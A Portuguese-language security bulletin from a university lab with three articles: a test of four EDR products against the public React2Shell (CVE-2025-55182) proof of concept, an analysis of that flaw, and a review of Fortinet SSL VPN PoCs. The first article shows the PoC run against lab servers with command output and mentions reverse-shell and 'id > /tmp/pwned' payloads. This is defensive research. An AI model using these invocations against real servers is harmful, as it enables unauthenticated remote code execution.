Vol. 1 No. 20251212-1049 (2025)

EDRs falham em identificar e bloquear vulnerabilidade React2Shell

Artur Spadoni | artur.spadoni@acmesecurity.org | 12/12/2025

1. Introdução

Como já discutido em uma postagem anterior aqui no “O Diário” O React é uma biblioteca gratuita e open-source para JavaScript, amplamente utilizada na construção de interfaces web modernas. Embora originalmente projetado para execução no lado do cliente, suas versões mais recentes passaram a integrar mecanismos de renderização no servidor por meio dos React Server Components, suportados pelo React Flight Protocol. Essa adoção massiva faz com que vulnerabilidades em seu ecossistema, especialmente nas camadas server-side introduzidas recentemente, possam ter impactos significativos. É o caso da vulnerabilidade apelidada “React2Shell”, catalogada como CVE-2025-55182 pela National Vulnerability Database (NVD) em 3 de dezembro de 2025.

Este relatório tem como objetivo apresentar e demonstrar uma Prova de Conceito (PoC) pública relacionada à CVE-2025-55182, como esta pode ser explorada e o porquê de ser alarmante e crítica.

Além disso, investigamos e descobrimos que, de 4 EDRs padrões de mercado testados, 3 deles não conseguiram detectar ou bloquear o ataque.

Serão descritos:

  • Aspectos técnicos da vulnerabilidade;
  • Um método de exploração em ambiente controlado; e
  • Como plataformas de monitoramento são essenciais para a mitigação de ataques cibernéticos.

2. Visão Geral

A CVE-2025-55182 é uma vulnerabilidade de execução remota de código (RCE) que afeta aplicações que utilizam React Server Components por meio do React Flight Protocol, incluindo frameworks como o Next.js até a versão 16.0.6. A falha permite que um atacante execute comandos arbitrários no servidor enviando payloads maliciosos em requisições POST. A exploração ocorre devido à forma inadequada como o servidor desserializa estruturas recebidas pelo RFP: as funções responsáveis pela reconstrução dos modelos, em especial reviveModel(), não validam corretamente objetos contendo o campo __proto__ e cadeias de métodos then. Isso possibilita a introdução de um pseudo-objeto capaz de manipular o protótipo e acessar o construtor global Function,  utilizado para executar comandos do sistema operacional sem autenticação ou privilégios adicionais.

2.1. Detalhes Técnicos

De acordo com indicadores oficiais, os seguintes detalhes foram levantados:

CategoriaDetalhes
SeveridadeCVSS 3.x: 10.0 (Critica)
Data de publicação3 de dezembro de 2025
Complexidade de exploraçãoBaixa – Requer requisição POST para um servidor vulnerável
Produto afetadoReact 19, Next.js 15.0.0 a 16.0.6
Fraqueza AssociadaCWE-502 – Desserialização de informação não confiável
Pontuação EPSS1`3.40 % (em 08/12/2025)
77.80% (em 10/12/2025)
76.01% (em 11/12/2025)
Patch de correçãoPacote NPM (lançado 5 de dezembro de 2025, 06h29 UTC)
Setores AlvosE-commerce, SaaS, Fintech, Plataformas de Streaming

2.2. Principal Vetor

O principal vetor de exploração da CVE-2025-55182 consiste no envio de requisições POST contendo payloads maliciosos que se passam por objetos válidos do React Flight Protocol. Esses payloads utilizam pseudo-objetos, incluindo estruturas manipuladas com campos como __proto__ e cadeias then, que exploram a desserialização insegura realizada pelo servidor. Ao aceitar e processar esses objetos sem validação adequada, o RFP permite que o atacante desencadeie execução arbitrária de código no ambiente server-side.

2.3. Grupos de Criminosos

Segundo a equipe de threat intelligence da Amazon, diversos atores de ameaça classificados como China-nexus, incluindo Earth Lamia e Jackpot Panda, iniciaram a exploração da CVE-2025-55182 poucas horas após sua divulgação em 3 de dezembro de 2025. Em análises de casos semelhantes envolvendo vulnerabilidades de desserialização e execução remota de código. A Unit 42 observou que esses grupos tendem a desenvolver rapidamente variantes próprias dos exploits, ajustando payloads e técnicas de obfuscar para aumentar a taxa de sucesso e reduzir a detecção. Esse padrão, já documentado pela Unit 42 em outras campanhas com perfis similares, reforça a probabilidade de múltiplos atores terem adaptado rapidamente a PoC pública para explorar React2Shell de diferentes maneiras.


3. Explorando a CVE-2025-55182

Foram utilizados 5 ambientes de laboratório, a fim de simular ambientes vulneráveis e um atacante para testar o comportamento da CVE-2025-55182 e avaliar a competência de diferentes monitoradores de dispositivos (EDRs – Endpoint Detection and Response).

Os ambientes propositalmente vulneráveis foram configurados com sistema operacional Windows 11 e utilizando a versão vulnerável Next.js 16.0.0 para o web-server, totalizando 4 ambientes com soluções de EDR distintas (os nomes dos EDRs não serão divulgados). Para simular o atacante utilizou-se o Kali Linux sem modificações.

IMPORTANTE: Note que nosso foco foi pesquisar EDRs, portanto, propositalmente, não foram utilizadas outras camadas de proteção, tais como WAF ou firewall local. Note também que o ataque não seria possível caso o Next.js já tivesse sido atualizado, ou seja, a aplicação de path é uma das camadas de segurança capaz de deter esse ataque.

Os testes e ensaios foram realizados entre os dias 8 a 12/12/2025 no laboratório ACME! Cybersecutiry Research, na UNESP de São José do Rio Preto. Todos os experimentos foram repetidos 3 vezes para verificação de erros.

3.1. Construção do Exploit e Criação do Payload

A exploração foi realizada utilizando a PoC disponibilizada publicamente no GitHub em 4 de dezembro de 2025 pelo engenheiro de software Moritz Sanft (“msanft”). A PoC é composta por um script em Python responsável por construir o payload malicioso e enviá-lo a um servidor vulnerável. O repositório também inclui a pasta test-server, contendo um ambiente mínimo baseado em Next.js com React Server Components, utilizado para demonstrar a vulnerabilidade em funcionamento

De forma resumida, as etapas adotadas no laboratório foram as seguintes:

  1. Instalar o Node.js e Next.js, nas versões vulneráveis nos ambientes alvo, garantindo que o projeto com RSC esteja devidamente configurado.
  2. Acessar a pasta test-server ou o diretório correspondente pelo terminal, e executar o comando ‘npm run dev’ para iniciar o servidor.
  3. No ambiente ofensivo (Kali Linux), executar o script ‘poc.py’ fornecido na PoC, informando argumentos necessários, simulando a execução remota.
PS C:\Users\[username]\Desktop\CVE2025-55182\test-server> npm install next
up to date, audited 357 packages in 3s

141 packages are looking for funding
run `npm fund` for details

1 critical severity vulnerability

Figura  1 – Node.js indicando vulnerabilidade crítica; note que a versão utilizada está, de fato, exposta.

3.2. Execução da PoC

O script da PoC (poc.py) aceita dois argumentos chaves, endereço IPv4+Porta (por exemplo, “127.0.0.0:80”) seguido pelo comando shell desejado ou payload (“whoami” ou até um reverse shell). Durante a execução no ambiente Kali Linux, o script constrói o ‘chunk’ serializado do Flight Protocol abusando da falha de desserialização, anexando a poluição do proto e o objeto “then-ável” que dispara durante a resolução do servidor nos ambientes.

O atacante executa comandos simples, como:

$ python3 poc.py 192.168.X.X "echo teste"

$ python3 poc.py 192.168.X.X "dir"

┌─(kali@kali)-[~]
└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "echo pwnd by sylvester"
500
:N176530853660.821
0:{"a":"$@1","f":"","b":"development"}
1:D["time":0.649100000002363Z]
1:E["digest":"pwnd by sylvester","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]

┌─(kali@kali)-[~]
└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "dir"
500
:N176530855033Z.197
0:{"a":"$@1","f":"","b":"development"}
1:D["time":0.465700000006519]
1:E["digest":"Volume in drive C has no label.\r\n Volume Serial Number is E86C-A9DF\r\n\r\n Directory of C:\Users\fantomas\Drive\PoC-2025-5-3-mail-main\test-server\n\n 12/09/2025  04:23 PM    <DIR>                  . 12/09/2025  04:23 PM                 -0 .gitignore\r\n12/09/2025  04:28 PM           480 .gitignore\r\n12/09/2025  04:23 PM    <DIR>        next\r\n12/09/2025  04:23 PM           465 eslint.config.mjs\r\n12/09/2025  04:28 PM           257 next-env.d.ts\r\n12/09/2025  04:23 PM             1 33 next.config.ts\r\n12/09/2025  04:28 PM    <DIR>        node_modules\r\n12/09/2025  04:28 PM           227,243 package-lock.json\r\n12/09/2025  04:23 PM           567 package.json\r\n12/09/2025  04:23 PM    <DIR>        public\r\n12/09/2025  04:23 PM             1,450 README.md\r\n12/09/2025  04:23 PM             338,468 bytes\r\n12/09/2025  04:23 PM             0 File(s)    107,770,0 97,664 bytes free","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]

Figura  2 – Disparo da PoC pelo atacante

Invalid source map. Only conformant source maps can be used to find the original code. Cause: Error: sourceMap
URL could not be parsed
✖ Error: NEXT_REDIRECT
  at ignore-listed frames {
  digest: 'Volume in drive C has no label.\r\n' +
    'Volume Serial Number is E86C-A9DF\r\n' +
    '\r\n' +
    'Directory of C:\\Users\\jubaluba\\lala\\CVE-2025-55182-main\\test-server\r\n' +
    '\r\n' +
    '12/09/2025  04:28 PM    <DIR>                  .\r\n' +
    '12/09/2025  04:23 PM    <DIR>                ..\r\n' +
    '12/09/2025  04:23 PM             480 .gitignore\r\n' +
    '12/09/2025  04:28 PM    <DIR>                .next\r\n' +
    '12/09/2025  04:23 PM    <DIR>                app\r\n' +
    '12/09/2025  04:23 PM           107,113 bun.lock\r\n' +
    '12/09/2025  04:23 PM             465 eslint.config.mjs\r\n' +
    '12/09/2025  04:28 PM             257 next-env.d.ts\r\n' +
    '12/09/2025  04:23 PM             133 next.config.ts\r\n' +
    '12/09/2025  04:28 PM    <DIR>                node_modules\r\n' +
    '12/09/2025  04:28 PM           227,243 package-lock.json\r\n' +
    '12/09/2025  04:23 PM             567 package.json\r\n' +
    '12/09/2025  04:23 PM              94 postcss.config.mjs\r\n' +
    '12/09/2025  04:23 PM    <DIR>                public\r\n' +
    '12/09/2025  04:23 PM           1,450 README.md\r\n' +
    '12/09/2025  04:23 PM             666 tsconfig.json\r\n' +
    '             10 File(s)        338,468 bytes\r\n' +
    '              6 Dir(s)  107,770,097,664 bytes free'
}
POST / 500 in 43ms (compile: 4ms, render: 39ms)

Figura  3 – Execução remota no servidor

File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request
    resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send
    r = adapter.send(request, **kwargs)
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 682, in send
    raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))

┌─(kali@kali)-[~]
└─$ python3 PoC_react/poc.py "http://172.31.222.21:3000" "dir"

Figura  4 – Mensagem de erro no ambiente atacante após ser interceptado

3.4 Consideraçõe éticas e créditos

Todos os testes foram feitos em rede isolada de laboratório, com versões fora de produção (React 19.00 – 19.2.0), e divulgadas apenas após mitigação; pesquisadores devem creditar devidamente a PoC utilizada, neste caso a Moritz Sanft, e aderir divulgações similares.

O PoC de Sanft explora uma aplicação Next.js padrão (criada via create-next-app), enviando payloads em parâmetros como “0” e “1” para manipular chunks de resposta e executar comandos como “id > /tmp/pwned” via child_process.execSync. Diferente de PoCs iniciais não funcionais (como ejpir/CVE-2025-55182-poc), o código de Sanft foi amplamente adotado em scans reais, precedendo o PoC oficial de Lachlan Davidson.

O repositório oficial é https://github.com/msanft/CVE-2025-55182, contendo explicação detalhada e código completo de RCE para React Server Functions em Next.js. Foi lançado em 4 de dezembro de 2025.


4. Resultados e Observações

Nos testes realizados com os ambiente, observou-se o seguinte comportamento:

Dos 4 agentes de proteção (EDRs) testados, apenas um conseguiu detectar e impedir a atividade maliciosa em tempo real. O agente gerou alertas específicos:

O Monitorador de Rede bloqueou uma tentativa de ataque.

    –  A tentativa mal-intencionada Exploit.CommandInjection.299[…]

    –  A tentativa mal-intencionada Exploit.HTTP.CVE-2025-55182[…]

Os alertas identificaram o exploit, a CVE relacionada e o local sendo atacado, além de impedir o ataque. Para os outros 3 ambientes testados, o payload foi extraído sem qualquer alerta, demonstrando a criticidade e evidenciando a necessidade de reforçar os EDR’s com métodos de mitigação, adequados a esta vulnerabilidade, e outras camadas de segurança.

A tabela a seguir resume os resultados observados:

AmbienteEDR/AntivírusExecução do AtaqueAlertas?Bloqueio?
1EDR XPToASucessoNãoNão
2EDR XPToBSucessoNãoNão
3EDR XPToCSucessoNãoNão
4EDR XPToDBloqueadoSimSim

4.1. Sobre os ambientes que não perceberam qualquer atividade

Os resultados de execução imediata do comando confirmam a necessidade de apenas acessar a rede, dispensando autenticação ou elevação de privilégios, o que permite inferir que a exploração ocorre como um ponto cego nos sistemas que ainda não possuem assinaturas ou modelos de detecção ajustados para o protocolo Flight ou requisições POST em geral.

4.2 Sobre o ambiente que detectou e bloqueou o ataque

Os alertas foram precisos e mencionaram explicitamente a tentativa de injeção de comando, exploração vinculada ao CVE-2025-55182 e a identificação do endpoint alvo. Isso confirma a eficiência e necessidade de agentes monitoradores atualizados e competentes para a segurança de servidores abertos à Internet, uma vez que não é possível prever o surgimento de toda vulnerabilidade capaz de destruir o sistema alvo.


5. Conclusões

A vulnerabilidade CVE-2025-55182 apresenta características típicas de uma falha altamente explorável, combinando baixa complexidade, impacto máximo, exploração silenciosa e ampla superfície de ataque (React + Next.js).

Os resultados laboratoriais evidenciam que assinaturas tradicionais não são suficientes para detectar o ataquedetecção comportamental em nível de processo e rede é determinante para identificar anomalias — e explicam o curto intervalo de tempo entre divulgação e exploração, pela facilidade desta, com grupos ativamente desenvolvendo variantes.

Ambientes que dependem apenas do antivírus nativo ou ferramentas desatualizadas ficam completamente expostos.

6. Mitigação e Recomendações

Para mitigar a vulnerabilidade CVE-2025-55182, recomenda-se:

  • Atualizar o Next.js para versão 16.0.7 ou superior – Sendo a ação mais crítica e urgente para todos os ambientes de produção.
  • Monitorar eventos ou tentativas de execução de payload – Implementar regras de detecção em plataformas EDR para identificar requisições POST suspeitas direcionadas a Server Functions.
  • Implementar Web Application Firewall (WAF) com regras para detectar chaves com ‘$’ e ‘:’ já que são características de ataques abusando dessa vulnerabilidade.
  • Manter logs detalhados de requisições POST e analisar regularmente para atividades suspeitas.
  • Realizar auditorias de segurança em aplicações React/Next.js para identificar potenciais pontos de exposição.

Caso necessário, é possível atribuir um limite de recursos ao processo do Node.js, isolar em containers (Hardening) ou feature flags para desativar parcialmente a RSC onde não for necessária.


REFERÊNCIAS

[1] NIST National Vulnerability Database, “CVE-2025-55182,” NVD, 3 de dezembro de 2025. [Online]. Disponível em: https://nvd.nist.gov/vuln/detail/CVE-2025-55182. [Acessado em: 10-Dez-2025].

[2] msanft, “CVE-2025-55182,” GitHub, 4 de dezembro de 2025. [Online]. Disponível em: https://github.com/msanft/CVE-2025-55182. [Acessado em: 10-Dez-2025].

[3] CJ Moses, “China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182),” Amazon Security Blog, 4 de dezembro de 2025. [Online]. Disponível em: https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/. [Acessado em: 10-Dez-2025].

[4] Rapid7, “React2Shell (CVE-2025-55182) – Critical unauthenticated RCE affecting React Server Components,” Rapid7 Blog, 4 de dezembro de 2025 (lançamento); 8 de dezembro de 2025 (atualização). [Online]. Disponível em: https://www.rapid7.com/blog/post/etr-react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/. [Acessado em: 10-Dez-2025].

Vol. 1 No. 20251208-1043 (2025)

React2Shell: Análise Aprofundada da Vulnerabilidade no React

Adriano Cansian | adriano.cansian@unesp.br | 08/12/2025


ATUALIZAÇÃO em 11/12/2025:

O valor do EPSS saltou de 13,9% em 08/12/2025 para 76,01% HOJE 11/12/2025.

Com um valor de CVSS 10,0 é fundamental que sejam aplicadas as medidas de resolução imediatamente.


1. Introdução

No início de dezembro de 2025, uma vulnerabilidade de severidade crítica, apelidada de React2Shell, emergiu, abalando a comunidade de desenvolvimento web.

Identificada oficialmente como CVE-2025-55182, trata-se de uma falha de Execução Remota de Código Não Autenticada ou Unauthenticated Remote Code Execution (Unauthenticated RCE) e recebeu a pontuação máxima de 10.0 no Common Vulnerability Scoring System (CVSS), sinalizando um risco extremo para uma vasta gama de aplicações modernas.

Uma Execução Remota de Código Não Autenticada é uma vulnerabilidade que permite a um atacante executar comandos ou código arbitrário em um servidor remoto sem necessidade de possuir credenciais válidas ou autenticação prévia.

Diferentemente de vulnerabilidades que exigem que o invasor esteja logado ou tenha acesso autorizado ao sistema, uma Unauthenticated RCE pode ser explorada por qualquer pessoa com acesso à rede (geralmente a internet), tornando-a extremamente perigosa.

A vulnerabilidade reside no coração dos React Server Components (RSC), uma tecnologia cada vez mais adotada em frameworks populares como Next.js, afetando potencialmente mais de 40% dos principais websites da Internet.

Este artigo oferece uma análise técnica aprofundada da React2Shell, detalhando seu mecanismo de exploração, o impacto que pode causar e as medidas essenciais que as equipes de segurança e desenvolvimento devem tomar para mitigar esta ameaça iminente.


2. O Mecanismo da Exploração: Desserialização Insegura

A React2Shell NÃO é uma vulnerabilidade comum. Sua periculosidade reside na simplicidade de sua exploração.

Um atacante, sem qualquer tipo de autenticação, pode comprometer completamente um servidor vulnerável através de uma única requisição HTTP POST maliciosamente elaborada.

A raiz do problema está na forma como os React Server Components lidam com a desserialização de dados.

Quando um cliente envia uma requisição para um endpoint que utiliza Server Functions, o React transforma os dados recebidos em chamadas de função do lado do servidor.

Durante este processo, a vulnerabilidade permite que um payload manipulado seja desserializado sem as devidas validações de segurança. Isso cria um caminho direto para que o atacante injete e execute código arbitrário com os mesmos privilégios do processo do servidor Node.js, abrindo as portas para um comprometimento total do sistema.


2. Análise de Impacto: As Consequências de uma Exploração Bem-Sucedida

Uma vulnerabilidade de RCE pré-autenticação é o ativo mais cobiçado no arsenal de um agente malicioso. No caso da React2Shell, as consequências de uma exploração bem-sucedida são catastróficas e podem se manifestar de várias formas:

  • Comprometimento Total da Infraestrutura: O atacante obtém controle total sobre o servidor, permitindo acesso irrestrito ao sistema de arquivos, roubo de credenciais e a instalação de backdoors para acesso persistente.
  • Exfiltração de Dados Sensíveis: Uma vez dentro do sistema, o invasor pode acessar e exfiltrar informações críticas, como bancos de dados de clientes, segredos de aplicação (chaves de API, tokens), propriedade intelectual e lógica de negócios.
  • Movimento Lateral na Rede: O servidor comprometido torna-se um ponto de pivô, a partir do qual o atacante pode lançar novas ofensivas contra outros sistemas internos, bancos de dados e recursos na nuvem, expandindo o alcance do ataque por toda a organização.
  • Ataques de Ransomware e Interrupção de Negócios: Com controle total, os atacantes podem implantar ransomware, criptografando dados vitais e exigindo um resgate, ou simplesmente interromper as operações, causando perdas financeiras e danos à reputação.


2. Descrição Técnica

A vulnerabilidade decorre de desserialização insegura no protocolo Flight, mecanismo responsável por transportar estruturas dos Server Components entre cliente e servidor.

Ao receber um payload malicioso, o servidor interpreta dados arbitrários como referências de função, o que permite execução remota de código com privilégios equivalentes ao processo Node.js.

Condições de exploração

  • Não exige autenticação;
  • Não exige cookie, API key ou token;
  • Pode ser explorada por qualquer atacante com acesso ao endpoint RSC;
  • Vetor principal: HTTP POST com conteúdo Flight manipulado.

Impacto técnico

  • Execução remota de código (RCE);
  • Execução arbitrária de processos no host ou container;
  • Exfiltração de dados sensíveis;
  • Movimento lateral;
  • Possível comprometimento total de infraestrutura (quando mal configurada).

3. Sistemas Afetados

3.1 React e bibliotecas centrais

Conforme registros do NVD:

PacoteVersões vulneráveisVersões corrigidas
react-server-dom-webpack19.0.0 a 19.2.019.0.1+, 19.1.2+, 19.2.1+
react-server-dom-parcel19.0.0 a 19.2.019.0.1+, 19.1.2+, 19.2.1+
react-server-dom-turbopack19.0.0 a 19.2.019.0.1+, 19.1.2+, 19.2.1+

3.2 Frameworks afetados

  • Next.js versões 15.x e 16.x;
    Associado adicionalmente ao CVE-2025-66478, conforme documentação CISA/NVD.
  • React Router com RSC;
  • Expo;
  • RedwoodJS;
  • Waku;
  • Plugins de integração RSC para Vite, Parcel e Turbopack.

4. Vetor de Ataque e Indicadores de Exploração

4.1 Vetor primário

POST /<endpoint-rsc>  
Content-Type: application/json  
Payload malformado contendo blocos Flight manipulados

4.2 Indicadores observáveis

  • Logs de erro do Flight referentes a parsing inesperado;
  • Picos súbitos de CPU em processos Node.js;
  • Tentativas de criação de processos via child_process.spawn/exec;
  • Comunicação egressa para hosts desconhecidos
  • Criação de artefatos suspeitos em /tmp em containers Linux

4.3 Atividade Maliciosa Confirmada

Organizações de segurança reportaram:

  • Scanners em larga escala buscando endpoints RSC;
  • Explorações automatizadas visando Next.js exposto;
  • Comprometimento de clusters Kubernetes negligentemente isolados;
  • Uso da vulnerabilidade para implantação de webshells e reverse shells.

5. Mitigação

5.1 Patching obrigatório

Aplicar imediatamente as versões corrigidas dos pacotes React RSC e atualizar aplicações Next.js para releases não vulneráveis.


5.2 Controles compensatórios (temporários)

  • Regras de WAF para bloquear payloads suspeitos do protocolo Flight;
  • Monitoramento agressivo de tráfego de egressão;
  • Habilitar logs completos de chamadas RSC;
  • Bloquear criação de processos filho por Node.js quando possível;
  • Reforçar políticas noexec em diretórios temporários.

5.3 Defesa em profundidade

  • Execução do Node.js com mínimo privilégio;
  • Isolamento adequado de containers e namespaces;
  • Mecanismos RASP como camada adicional;

6. Avaliação de Risco

A vulnerabilidade é considerada Crítica, nível máximo no CVSS 10.0, devido a:

  • Exploração ativa confirmada globalmente
  • Ausência de barreiras de autenticação
  • Impacto direto em aplicações amplamente adotadas (React/Next.js)
  • Possibilidade de comprometimento total do ambiente

É altamente recomendável priorizar a correção em ambientes expostos à internet.

6.1. Sobre o EPSS e CVVS Score para React2Shel

MétricaValor
Score Inicial0.46%
Score Atual13.86% (8 de dezembro de 2025)
76,01% (atualizado em 11/12/2025)
PercentilEm atualização contínua

O Problema: Uma Discrepância Crítica

Existe uma divergência significativa entre o CVSS (10.0 – Crítico) e o EPSS (13.86%), que revela uma limitação importante dos sistemas de scoring automatizados.

É importante entender que o EPSS é um “indicador retardado” (lagging indicator).

Embora tenha subido de 0.46% para 13.86% desde o início da publicação do CVE, ainda está muito abaixo do que os níveis reais de exploração justificariam, porque:

  1. Exploração Ativa em Andamento: Grupos de ameaças vinculados à China já foram observados explorando a vulnerabilidade (AWS)
  2. Liderança em Bug Bounty: É o #1 CVE mais explorado na plataforma HackerOne
  3. Remediação Acelerada: Organizações estão remediando em menos de um dia em média
  4. Escala Massiva: Mais de 12 milhões de sites potencialmente vulneráveis.

O Que Isso Significa

O EPSS demonstra que sistemas de scoring automatizados podem não acompanhar o ritmo de exploração em tempo real. Isso ressalta a importância de:

  • Não depender apenas de scores automatizados para priorização de vulnerabilidades críticas.
  • Usar feedback em tempo real de comunidades de segurança (bug bounty, threat intelligence).
  • Considerar o contexto operacional além dos scores numéricos

Referências:

  1. Portal informativo sobre a vulnerabilidade: https://react2shell.com/
  2. NVD / NIST – CVE-2025-55182
    https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  3. CVE.org – CVE Record CVE-2025-55182
    https://www.cve.org/CVERecord?id=CVE-2025-55182
  4. NVD / NIST – CVE-2025-66478 (Next.js)
    https://nvd.nist.gov/vuln/detail/CVE-2025-66478
  5. React Team. React Server Components Documentation.
    https://react.dev/reference/react-server
  6. React Flight Protocol (repositório oficial).
    https://github.com/facebook/react/tree/main/packages/react-server
  7. Vercel. Next.js App Router and React Server Components.
    https://nextjs.org/docs/app/building-your-application/rendering/server-components
  8. MITRE. CWE-502: Deserialization of Untrusted Data
    https://cwe.mitre.org/data/definitions/502.html
  9. OWASP. Deserialization of Untrusted Data
    https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data

Vol. 1 No. 20250414-272 (2025)

Sobre POCs para ataques a dispositivos Fortinet

Adriano Cansian | adriano.cansian@unesp.br | 14/04/2025

Estamos cientes de pelo menos um agente de ameaça explorando vulnerabilidades importantes de execução remota de código (RCE) em produtos Fortinet, como FortiOS e FortiGate, que podem ser usadas para criar arquivos maliciosos ou explorar sistemas.

Estamos tratando aqui especificamente das vulnerabilidades catalogadas pela Fortinet como: FG-IR-22-398 (CVE-2022-42475), FG-IR-23-097 (CVE-2023-27997) e FG-IR-24-015 (CVE-2024-21762), todas relacionadas ao SSL VPN em dispositivos Fortinet.

Nesse ponto é importante observar que se o produto Fortinet não tem, e nunca teve, SSL VPN ativado, ele não é afetado por essas vulnerabilidades. Para determinar se um dispositivo Fortinet, como um FortiGate rodando FortiOS, tem ou teve o SSL VPN ativado é necessário fazer verificações na interface gráfica (GUI) ou na linha de comando (CLI) e, se julgar necessário, analisar logs ou configurações históricas.


Vamos analisar se há provas de conceito (PoCs – Proof Of Concept) públicas ou evidências de exploração para essas vulnerabilidades:

  • FG-IR-22-398 / CVE-2022-42475
    CVSS: 9,8 (Critical) – EPSS: 92,9% de chance de ataque (em 14/4/2025)
    Essa é uma vulnerabilidade crítica de estouro de buffer baseado em heap no FortiOS SSL VPN, permitindo execução remota de código (RCE) sem autenticação. A Fortinet confirmou exploração ativa em dezembro de 2022, com indicadores de comprometimento (IoCs) como arquivos maliciosos (ex.: /data/lib/libips.bak) e conexões a IPs suspeitos. Há PoC público disponível para essa vulnerabilidade. A exploração real sugere que atores avançados desenvolveram seus próprios métodos, possivelmente devido à sua complexidade e ao foco em alvos governamentais.

  • FG-IR-23-097 / CVE-2023-27997
    CVSS: 9,8 (Critical) – EPSS: 87,3% de chance de ataque (14/4/2025)
    Outro problema crítico de estouro de buffer no SSL VPN, também permitindo RCE sem autenticação. A Fortinet relatou exploração limitada em junho de 2023 e, presumivelmente, existe de uma PoC funcional, embora não amplamente divulgada. Um repositório no GitHub contém um exemplo de PoC que demonstra a corrupção da memória heap para executar código remoto. Esse PoC é funcional, mas requer adaptações específicas, indicando que atores de ameaça podem estar usando variantes para criar arquivos maliciosos ou backdoors.

  • FG-IR-24-015 / CVE-2024-21762:
    CVSS: 9,8 (Critical) – EPSS: 90,7% de chance de ataque (14/4/2025)
    Essa vulnerabilidade de escrita fora dos limites no FortiOS SSL VPN foi reportada como potencialmente explorada em fevereiro de 2024. A Fortinet alertou para ataques reais, mas não há PoC pública confirmada até agora. A exploração envolve requisições HTTP maliciosas, e a falta de um PoC público pode refletir a recente divulgação ou esforços para limitar a disseminação de exploits. A recomendação da Fortinet de desativar o SSL VPN como mitigação sugere que atores de ameaça podem estar usando essa falha para acesso inicial e implantação de payloads maliciosos.

As três vulnerabilidades são alvos atraentes para atores sofisticados devido à exposição do SSL VPN na internet. A criação de arquivos maliciosos, como backdoors ou implantes, é consistente com o comportamento observado em explorações de RCE, especialmente em FG-IR-22-398, onde malwares personalizados para FortiOS foram detectados. Embora PoCs públicos sejam limitados, a exploração ativa indica que grupos de ameaça possuem exploits funcionais, possivelmente compartilhados em fóruns privados ou desenvolvidos internamente.

RECOMENDAÇÃO:

Há PoCs públicas confirmadas para FG-IR-22-398 (CVE-2022-42475) e FG-IR-23-097 (CVE-2023-27997), mas para FG-IR-24-015, não há PoCs amplamente disponíveis, embora explorações reais tenham sido reportadas. Entretanto, atores específicos podem estar de posse de algum código de ataque, ou códigos de ataque podem se tornar disponíveis em algum momento próximo ou vindouro.

Por esse motivo, nossa recomendação é aplicar os patches mais recentes [1] e, se possível, desativar o SSL VPN (obviamente, caso a VPN não seja utilizada), além de monitorar sistemas por IoCs, como arquivos ou conexões suspeitas.

Para mais informações sobre o tratamento das vulnerabilidades relacionadas com SSL VPN em produtos Fortinet, por favor consulte [1].

Referências:

[1] Carl Windsor – “Analysis of Threat Actor Activity”. Fortinet. 10 de abril de 2025.

https://www.fortinet.com/blog/psirt-blogs/analysis-of-threat-actor-activity